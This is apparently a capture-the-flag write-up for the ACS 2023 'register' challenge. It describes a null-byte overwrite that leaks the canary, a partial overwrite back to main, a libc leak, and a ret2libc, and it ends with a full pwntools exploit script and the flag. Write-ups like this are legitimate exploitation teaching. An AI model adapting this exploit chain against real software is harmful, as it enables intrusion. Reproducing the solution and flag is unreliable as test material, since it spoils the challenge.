ACS 2023: register

Register your nickname and email address!

TL;DR

Exploit null-byte overwrite to leak canary, followed by a Partial Overwrite to ret2main. In the second stage, exploit the same null-byte overwrite to leak LIBC, then ret2libc.

Challenge Overview

The program is a user registration platform that asks for a username and email address. The interesting part is both user inputs are echoed back to us.

All protections are fully enabled. This means that we need at least 3 info leaks for canary, PIE, and LIBC respectively.

Null-byte Overwrite (Leak Canary)

2 rounds of obvious buffer overflows occur when trying to read 256 bytes into a limited buffer. After receiving user input, printf() is called to echo the input back to us. Since the canary is positioned below our buffer, we can overflow the null byte sitting in the middle, causing printf() to leak the canary.

Ghidra shows that the canary is sitting at a 40-byte offset relative to our input, via the in_FS_OFFSET value. To double confirm, inspecting the rsi using GDB before the first read() also shows a potential canary sitting at an 40-byte offset.

This means that 41 A's should overflow the null byte and leak the canary.

Partial Overwrite (ret2main)

During our 2nd BOF, we must return to main to restart the program and reintroduce the vulnerability so that we get infinite info leaks, as we still require a PIE and LIBC leak. However, exploiting this is complicated since the binary has PIE enabled, meaning we can't reliably return to anywhere without first leaking the PIE. This brings us to another problem - how can we attempt to leak both canary and PIE values at the same time during the 1st BOF?

In fact, we do not need a PIE base leak at all; we can instead ret2main via a Partial Overwrite during the 2nd BOF. Since PIE does not affect the Least Significant Byte (LSB), we can brute-force this value from \x00 to \xff to see which one would return to main.

The 2nd BOF payload should look something like the following:

# Round 1, BOF 2: ret2main
payload = b'A' * 40
payload += p64(canary) # Rewrite canary
payload += p64(ret) # Stack Alignment
payload += b'\x83'  # Partial Overwrite

Null-byte Overwrite Cont'd (Leak LIBC)

Now that we have a way to reintroduce our info leak, we can use it for a LIBC leak. Figuring out the number of bytes required to leak the LIBC address is purely guesswork. Since the 64-bit calling convention requires the stack to be 16-byte aligned, I figured the next offset to try would be 40+16, as there is no way LIBC would live right beside the canary. Inspecting the rsi using GDB also confirms our hypothesis.

Next, with 56 A's and some GDB vmmap shenanigans, we managed to retrieve the LIBC base address to perform a ret2libc attack.

ret2libc

To summarise everything, we have a 4 stage payload:

  1. Round 1, BOF 1: Leak canary via null-byte overwrite.

  2. Round 1, BOF 2: ret2main via Partial Overwrite.

  3. Round 2, BOF 1: Leak LIBC via null-byte overwrite.

  4. Round 2, BOF 2: ret2libc.

solve.py
#!/usr/bin/python3
from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './register'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(elf)
ret = (rop.find_gadget(['ret']))[0]

# Round 1, BOF 1: Leak canary

payload = b'A' * 41
io.sendafter(b"NICKNAME? > ", payload)

canary = unpack(io.recvuntil(b"EMAIL? > ")[-17:-10].rjust(8, b"\x00"))
log.info(hex(canary))

# Round 1, BOF 2: ret2main

payload = b'A' * 40
payload += p64(canary) # Rewrite canary
payload += p64(ret) # Stack Alignment
payload += b'\x83'  # Partial Overwrite

io.send(payload)

# Round 2, BOF 1: Leak LIBC

payload = b'A' * 56
io.sendafter(b"NICKNAME? > ", payload)

leak = unpack(io.recvuntil(b"EMAIL? > ")[-15:-9].ljust(8, b"\x00"))
libc.address = leak - 0x2718a
log.info(hex(libc.address))

# Round 2, BOF 2: ret2libc

rop = ROP(libc)

pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
ret = (rop.find_gadget(['ret']))[0]
bin_sh = next(libc.search(b'/bin/sh'))
system = libc.symbols['system']

payload = b'A' * 40
payload += p64(canary)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(ret)
payload += p64(system)

io.send(payload)

io.interactive()

Flag: ACS{15_y0ur_n1ckname_and_3ma1l_c0rre3tly_r3g15t3rd?}

Last updated